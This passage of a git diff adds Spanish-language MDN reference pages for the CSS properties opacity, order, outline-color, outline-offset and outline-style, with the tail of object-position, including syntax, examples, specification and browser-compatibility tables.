+<h4 id="Resultado">Resultado</h4>
+
+<p>{{ EmbedLiveSample('Example', 360, 120) }}</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#the-object-position', 'object-position')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td>
+    <p>Las  <code>palabras clave from-image</code> y <code>flip</code> an sido añadidas.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#the-object-position', 'object-position')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Definición incial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>31.0</td>
+   <td>{{ CompatGeckoDesktop("36") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.60{{ property_prefix("-o") }}<br>
+    19.0</td>
+   <td>{{ CompatNo }}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.4.4</td>
+   <td>{{ CompatGeckoDesktop("36") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.5{{ property_prefix("-o") }}<br>
+    24</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+<br>
+[1] WebKit Nightly fixed in bug <a href="https://bugs.webkit.org/show_bug.cgi?id=122811">122811</a>.</div>
+
+<h2 id="See_also" name="See_also">Contenido relacionado</h2>
+
+<ul>
+ <li>Other image-related CSS properties: {{cssxref("object-fit")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.</li>
+</ul>
diff --git a/files/es/web/css/opacity/index.html b/files/es/web/css/opacity/index.html
new file mode 100644
index 0000000000..154e4d7d82
--- /dev/null
+++ b/files/es/web/css/opacity/index.html
@@ -0,0 +1,216 @@
+---
+title: opacity
+slug: Web/CSS/opacity
+tags:
+  - CSS
+  - CSS Reference
+  - CSS3
+  - css3-color
+translation_of: Web/CSS/opacity
+---
+<div>{{ CSSRef() }}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La propiedad CSS <code>opacity</code> define la transparencia de un elemento, esto es, en qué grado se superpone el fondo al elemento.</p>
+
+<p>Usar esta propiedad con un valor diferente a 1 situa al elemento en un nuevo <a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">contexto de apilamiento</a>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">opacity:  &lt;valor alfanumérico&gt;</pre>
+
+<h3 id="Values" name="Values">Valores</h3>
+
+<dl>
+ <dt><code>&lt;alphavalue&gt;</code></dt>
+ <dd>Es un número cuyo valor se encuentra entre 0.0 y 1.0, ambos incluidos. Este valor representa la opacidad. Si el valor se sale de la escala, será ajustado al valor válido más cercano.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>valor</th>
+    <th>Significado</th>
+   </tr>
+   <tr>
+    <td><code>0</code></td>
+    <td>El elemento es transparente (invisible).</td>
+   </tr>
+   <tr>
+    <td>Cualquier valor entre 0 y 1</td>
+    <td>El elemento es translúcido.</td>
+   </tr>
+   <tr>
+    <td><code>1</code></td>
+    <td>El elemento es opaco (sólido).</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush: css">hbox.example {
+  opacity: 0.5; /* see the background through the hbox */
+}</pre>
+
+<h3 id="Live_Example" name="Live_Example">Live Example</h3>
+
+<pre>pre {                               /* make the box translucent (20% opaque) */
+   border: solid red;
+   opacity: 0.2;
+   filter: alpha(opacity=20);       /* IE8 and lower */
+   zoom: 1;       /* set "zoom", "width" or "height" to trigger "hasLayout" in IE 7 and lower */
+}</pre>
+
+<pre>pre {                               /* make the box translucent (50% opaque) */
+   border: solid red;
+   opacity: 0.5;
+   filter: alpha(opacity=50);       /* IE8 and lower */
+   zoom: 1;       /* set "zoom", "width" or "height" to trigger "hasLayout" in IE 7 and lower */
+}</pre>
+
+<pre>pre {                               /* make the box translucent (80% opaque) */
+   border: solid red;
+   opacity: 0.8;
+   filter: alpha(opacity=80);       /* IE8 and lower */
+   zoom: 1;       /* set "zoom", "width" or "height" to trigger "hasLayout" in IE 7 and lower */
+}</pre>
+
+<h3 id="Different_opacity_with_.3Ahover" name="Different_opacity_with_.3Ahover">Variando la opacidad con :hover</h3>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;style&gt;
+img.opacity {
+   opacity: 1;
+   filter: alpha(opacity=50);
+   zoom: 1;
+ }
+
+img.opacity:hover {
+   opacity: 0.5;
+   filter: alpha(opacity=100);
+   zoom: 1;
+ }
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;img src="//developer.mozilla.org/media/img/mdn-logo.png" alt="MDN logo" width="128" height="146" class="opacity"&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'opacity') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Define <code>opacity</code> como una animación.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Colors', '#opacity', 'opacity') }}</td>
+   <td>{{ Spec2('CSS3 Colors') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad entre navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td rowspan="3">Basic support</td>
+   <td rowspan="3">1.0</td>
+   <td rowspan="3">{{ CompatGeckoDesktop("1.7") }}</td>
+   <td>9.0</td>
+   <td rowspan="3">9.0</td>
+   <td rowspan="3">1.2 (125)</td>
+  </tr>
+  <tr>
+   <td>8.0<br>
+    <code>filter: alpha(opacity=xx)<br>
+    filter: "alpha(opacity=xx)" </code><br>
+    (both are synonymous)</td>
+  </tr>
+  <tr>
+   <td>4.0<br>
+    <code>filter: alpha(opacity=xx)</code></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table" style="height: 156px; width: 827px;">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td rowspan="3">Basic support</td>
+   <td rowspan="3">1.0</td>
+   <td rowspan="3">{{ CompatGeckoMobile("1.7") }}</td>
+   <td>9.0</td>
+   <td rowspan="3">9.0</td>
+   <td rowspan="3">3.2</td>
+  </tr>
+  <tr>
+   <td>8.0<br>
+    <code>filter: alpha(opacity=xx)<br>
+    filter: "alpha(opacity=xx)" </code><br>
+    (both are synonymous)</td>
+  </tr>
+  <tr>
+   <td>4.0<br>
+    <code>filter: alpha(opacity=xx)</code></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li><strong>History:</strong>  Prior to Mozilla 1.7 (Firefox 0.9) the<code> -moz-opacity </code>property was implemented in a non-standard (inherited) way. With Firefox 0.9 the behavior changed and the property was renamed to<code> opacity</code>.  Since then<code> -moz-opacity </code>was supported just as an alias for<code> opacity</code>.</li>
+ <li>Gecko 1.9.1 (Firefox 3.5) and later do not support<code> -moz-opacity</code> and support for <code>MozOpacity</code> in javascript was <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=730532" title="https://bugzilla.mozilla.org/show_bug.cgi?id=730532">removed</a> in Gecko 13.  By now, you should be using simply<code> opacity</code>.</li>
+ <li>Prior to version 9, Internet Explorer does not support <code>opacity</code>, rather it supports <code>filter</code> instead.</li>
+ <li>IE4 to IE9 supported the extended form <code>progid:DXImageTransform.Microsoft.Alpha(Opacity=xx)</code>.</li>
+ <li>IE8 introduced <code>-ms-filter</code>, which is synonymous with <code>filter</code>. Both are gone in IE10</li>
+ <li>Similar to <code>-moz-opacity</code>, <code>-khtml-opacity</code> has been dead since early 2004 (release of Safari 1.2).<br>
+  Konqueror never had support for <code>-khtml-opacity</code> and had been supporting <code>opacity</code> since version 4.0.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Más información</h2>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms532910%28VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms532910(VS.85).aspx">MSDN Microsoft's filter:alpha(opacity=xx)</a></li>
+</ul>
diff --git a/files/es/web/css/order/index.html b/files/es/web/css/order/index.html
new file mode 100644
index 0000000000..fa8484670f
--- /dev/null
+++ b/files/es/web/css/order/index.html
@@ -0,0 +1,172 @@
+---
+title: order
+slug: Web/CSS/order
+translation_of: Web/CSS/order
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/es/docs/Web/CSS">CSS</a> <strong><code>order</code></strong> especifica el orden utilizado para disponer los elementos en su contenedor flexible. Los elementos estarán dispuestos en orden ascendente según el valor de <code>order</code>. Los elementos con el mismo valor de <code>order</code> se dispondrán en el orden en el cual aparecen en el código fuente.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: <code>order</code> sólo pretende afectar el orden visual de los elementos y no su orden lógico u orden de tabulación. <code><strong>order</strong></code> no se debe usar en un medio no visual tal como un speech (sintetizador de voz).</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<p>Ver <a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS">Uso de cajas flexibles de CSS</a> para más propiedades e información.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Valor numérico incluyendo números negativos */
+order: 5;
+order: -5;
+
+/* Valores Globales */
+order: inherit;
+order: initial;
+order: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;integer&gt;</code></dt>
+ <dd>Representa el grupo ordinal al que el elemento flexible ha sido asignado.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Aquí tiene un trozo de HTML básico:</p>
+
+<pre class="brush:html;">&lt;!DOCTYPE html&gt;
+&lt;header&gt;...&lt;/header&gt;
+&lt;div id='main'&gt;
+   &lt;article&gt;Article&lt;/article&gt;
+   &lt;nav&gt;Nav&lt;/nav&gt;
+   &lt;aside&gt;Aside&lt;/aside&gt;
+&lt;/div&gt;
+&lt;footer&gt;...&lt;/footer&gt;</pre>
+
+<p>El siguiente código CSS debería crear un diseño clásico de dos barra laterales que rodea a un bloque de contenido. EL Módulo de Diseño de Caja Flexible crea automáticamente bloques de tamaño vertical igual y utiliza todo el espacio horizontal disponible.</p>
+
+<p><span style='background-color: #fafbfc; font-family: Consolas,Monaco,"Andale Mono",monospace; font-size: 1rem; line-height: 19px; white-space: pre;'>#main { display: flex;  text-align:center; }</span></p>
+
+<pre class="brush:css;">#main &gt; article { flex:1;        order: 2; }
+#main &gt; nav     { width: 200px;  order: 1; }
+#main &gt; aside   { width: 200px;  order: 3; }</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Examples' ,'','','','Web/CSS/order') }}</p>
+
+<h2 id="Sobre_Accesibilidad">Sobre Accesibilidad</h2>
+
+<p>Utilizar la propiedad <code>order</code> rompe la conexión entre la presentación visual y el order original de los elementos en el DOM. Esto afecta de forma negativa a los usuarios que navegan a través de teclado utilizando, por ejemplo, un lector de pantalla. Si el orden visual (CSS) es importante, entonces los lectores de pantallas no podrán acceder a ese dato y recorrerán los elementos de forma desordenada.</p>
+
+<p>Para más información por favor, referirse a estos artículos:</p>
+
+<ul>
+ <li><a href="https://tink.uk/flexbox-the-keyboard-navigation-disconnect/">Flexbox &amp; the keyboard navigation disconnect — Tink</a></li>
+ <li><a href="http://adrianroselli.com/2015/09/source-order-matters.html">Source Order Matters | Adrian Roselli</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">MDN Understanding WCAG, Guideline 1.3 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-sequence.html">Understanding Success Criterion 1.3.2  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#order-property', 'order')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(21.0)}}{{property_prefix("-webkit")}}<br>
+    29</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("20.0")}}<sup>[2]</sup></td>
+   <td>
+    <p>10.0{{property_prefix("-ms")}}<sup>[3]</sup><br>
+     11</p>
+   </td>
+   <td>12.10</td>
+   <td>7 {{property_prefix("-webkit")}}<br>
+    9</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("18.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoMobile("20.0")}}<sup>[2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>12.10</td>
+   <td>7 {{property_prefix("-webkit")}}<br>
+    9</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Para activar el soporte Flexbox en  Firefox 18 and 19, el usuario debe cambiar en preferencias about:config <code>layout.css.flexbox.enabled</code> a <code>true</code>. Las cajas flexibles multi-línea son soportadas desde Firefox 28.</p>
+
+<p>Actualmente Firefox cambia incorrectamente el orden de tabulación de los elementos. Ver {{bug("812687")}}.</p>
+
+<p>[2] Además del soporte sin prefijo, Gecko 48.0 {{geckoRelease("48.0")}} añade soporte para un prefijo <code>-webkit</code> en versión porpietaria por razones compatibilidad web bajo la preferencia <code>layout.css.prefixes.webkit</code>, por defecto en <code>false</code>. Desde Gecko 49.0 {{geckoRelease("49.0")}} la preferencia por defecto está en <code>true</code>.</p>
+
+<p>[3] En Internet Explorer 10, un contenedor flexible se declara usando <code>display:-ms-flexbox</code> y no <code>display:flex</code>. La propiedad está implementada bajo el monbre no-estándar <code>-ms-flex-order</code>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Flexible_Box_Layout/Usando_las_cajas_flexibles_CSS">Uso de cajas flexibles de CSS</a></li>
+</ul>
diff --git a/files/es/web/css/outline-color/index.html b/files/es/web/css/outline-color/index.html
new file mode 100644
index 0000000000..f2d6f9c18c
--- /dev/null
+++ b/files/es/web/css/outline-color/index.html
@@ -0,0 +1,152 @@
+---
+title: outline-color
+slug: Web/CSS/outline-color
+tags:
+  - Contorno CSS
+  - Propiedad CSS
+translation_of: Web/CSS/outline-color
+---
+<div><span style="line-height: 1.5;">{{CSSRef}}</span></div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>outline-color</code></strong> establece el color del contorno de un elemento. Un contorno es una línea que se dibuja al rededor de los elementos, fuera de los límites del borde, para resaltar al elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Valores clave */
+outline-color: invert;
+outline-color: red;
+
+/* Valores globales */
+outline-color: inherit;
+outline-color: initial;
+outline-color: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Ver {{cssxref("&lt;color&gt;")}} para las diferentes palabras clave y notaciones de colores.</dd>
+ <dt><code>invert</code></dt>
+ <dd>Para asegurarse que el contorno es visible, este valor realiza una inversión del color de fondo. Esto hace el contorno más sobresaliente, sin importar el color de fondo. Nótese que los navegadores pueden no soportar este valor. De ser así, solamente considerarán la declaración como inválida</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html;">&lt;p class="example"&gt;My outline is blue, da ba dee.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[3]">.example {
+  /* primero debe definirse la propiedad "outline" */
+  outline: 2px solid;
+  /* hacer el contorno azul */
+  outline-color: #0000FF;
+}</pre>
+
+<h3 id="En_vivo">En vivo:</h3>
+
+<p>{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/outline-color') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Basic UI', '#outline-color', 'outline-color')}}</td>
+   <td>{{Spec2('CSS3 Basic UI')}}</td>
+   <td>Sin cambios</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'outline-color')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Define <code>outline-color</code> como propiedad que se puede animar.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'ui.html#propdef-outline-color', 'outline-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.8")}} [1]</td>
+   <td>8.0</td>
+   <td>7.0</td>
+   <td>1.2 (125)</td>
+  </tr>
+  <tr>
+   <td>valor <code>invert</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}} [2]</td>
+   <td>8.0</td>
+   <td>{{CompatNo}} [3]</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] En versiones previas a Gecko 1.8: <code>-moz-outline-color</code>.</p>
+
+<p>[2] El soporte fue retirado en la versión 3.0 (1.9).</p>
+
+<p>[3] Soportado en Opera 7 pero el soporte fue retirado en Opera 15 con la adopción del motor Chromium/Blink.</p>
diff --git a/files/es/web/css/outline-offset/index.html b/files/es/web/css/outline-offset/index.html
new file mode 100644
index 0000000000..85bd0c33d7
--- /dev/null
+++ b/files/es/web/css/outline-offset/index.html
@@ -0,0 +1,136 @@
+---
+title: outline-offset
+slug: Web/CSS/outline-offset
+tags:
+  - Contorno CSS
+  - Propiedad CSS
+translation_of: Web/CSS/outline-offset
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>outline-offset</code></strong> es usada para establecer el espacio entre un contorno {{ cssxref("outline") }} y el límite o borde de un elemento. Un contorno es una línea que se dibuja al rededor de los elementos, fuera de los límites de su borde.</p>
+
+<p>{{cssinfo}}</p>
+
+<p>El espacio será transparente (el elemento padre determinará el fondo).</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="brush:css">/* Valores &lt;length&gt; */
+outline-offset: 3px;
+outline-offset: 0.2em;
+
+/* Valores globales */
+outline-offset: inherit;
+outline-offset: initial;
+outline-offset: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>La anchura del espacio. Ver {{cssxref("&lt;length&gt;")}} para unidades posibles. Valores negativos colocan el borde dentro del elemento.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">p {
+  outline: dashed thin;
+  /* Mueve el contorno 10px lejos del borde */
+  outline-offset: 10px;
+  border:1px solid black;
+}
+</pre>
+
+<p>Html</p>
+
+<pre class="brush: html">&lt;p&gt;outline: offset 10px. Border is solid and outline is dashed&lt;/p&gt;</pre>
+
+<p>El código anterior producirá este efecto:</p>
+
+<p>{{ EmbedLiveSample('Examples', '', '', '') }}</p>
+
+<p>Otro ejemplo:</p>
+
+<p><span style="outline-offset: 1px; outline: green solid 3px;"><span style="outline-offset: 1px; outline: blue solid 3px;">outline: multiple offsets;</span></span></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'outline-offset') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Define <code>outline-offset</code> como propiedad que se puede animar.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Basic UI', '#outline-offset', 'outline-offset') }}</td>
+   <td>{{ Spec2('CSS3 Basic UI') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>9.5</td>
+   <td>1.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/outline-style/index.html b/files/es/web/css/outline-style/index.html
new file mode 100644
index 0000000000..68b1f9abd4
--- /dev/null
+++ b/files/es/web/css/outline-style/index.html
@@ -0,0 +1,263 @@
+---
+title: outline-style
+slug: Web/CSS/outline-style
+tags:
+  - Contorno CSS
+  - Propiedad CSS
+translation_of: Web/CSS/outline-style
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>outline-style</code></strong> es usada para establecer el estilo del contorno de un elemento. Un contorno es una línea que se dibuja al rededor de elementos, fuera de los límites del borde, para resaltar un elemento.</p>
+
+<p>Por lo general, es más conveniente usar la propiedad de forma reducida {{cssxref("outline")}} en vez de<code> outline-style</code>,<code> outline-width </code>y<code> outline-color</code> por separado.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Valores clave */
+outline-style: auto;
+outline-style: none;
+outline-style: dotted;
+outline-style: dashed;
+outline-style: solid;
+outline-style: double;
+outline-style: groove;
+outline-style: ridge;
+outline-style: inset;
+outline-style: outset;
+
+/* Valores globales */
+outline-style: inherit;
+outline-style: initial;
+outline-style: unset;
+</pre>
+
+<h2 id="Valores">Valores</h2>
+
+<p><code>&lt;br-style&gt; </code>puede ser uno de los siguientes:</p>
+
+<dl>
+ <dt>none</dt>
+ <br>
+ <dd>Sin contorno ({{Cssxref("outline-width")}} es<code> 0</code>).</dd>
+ <dt>dotted</dt>
+ <br>
+ <dd style="outline: 10px dotted red;">Línea punteada. El contorno es una serie de puntos.</dd>
+ <dt>dashed</dt>
+ <br>
+ <dd style="outline: 10px dashed red;">Línea discontinua. El contorno es una serie de segmentos de línea cortos.</dd>
+ <dt>solid</dt>
+ <br>
+ <dd style="outline: 10px solid red;">El contorno es una línea simple.</dd>
+ <dt>double</dt>
+ <br>
+ <dd style="outline: 10px double red;">El contorno son dos líneas paralelas. El valor de {{Cssxref("outline-width")}} es la suma de los dos líneas y el espacio entre ellas.</dd>
+ <dt>groove</dt>
+ <br>
+ <dd style="outline: 10px groove red;">El contorno parece estar tallado dentro del lienzo.</dd>
+ <dt>ridge</dt>
+ <br>
+ <dd style="outline: 10px ridge red;">Lo opuesto a <code> groove</code>: el contorno parece salir del lienzo.</dd>
+ <dt>inset</dt>
+ <br>
+ <dd style="outline: 10px inset red;">El contorno hace a la caja verse como si estuviera embedida dentro del lienzo.</dd>
+ <dt>outset</dt>
+ <br>
+ <dd style="outline: 10px outset red;">Lo opuesto a <code> inset</code>: el contorno hace a la caja verse como si estuviera saliendo del lienzo.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example_1_-_dotted_and_dashed" name="Example_1_-_dotted_and_dashed">Ejemplo 1 - <code>dotted</code> y <code>dashed</code></h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;div class="dotted"&gt;
+    &lt;p class="dashed"&gt;Outline Demo&lt;/p&gt;
+  &lt;/div&gt;
+&lt;/div&gt; </pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.dotted {
+  outline-style: dotted; /* same result as "outline: dotted" */
+}
+.dashed {
+  outline-style: dashed;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } </pre>
+
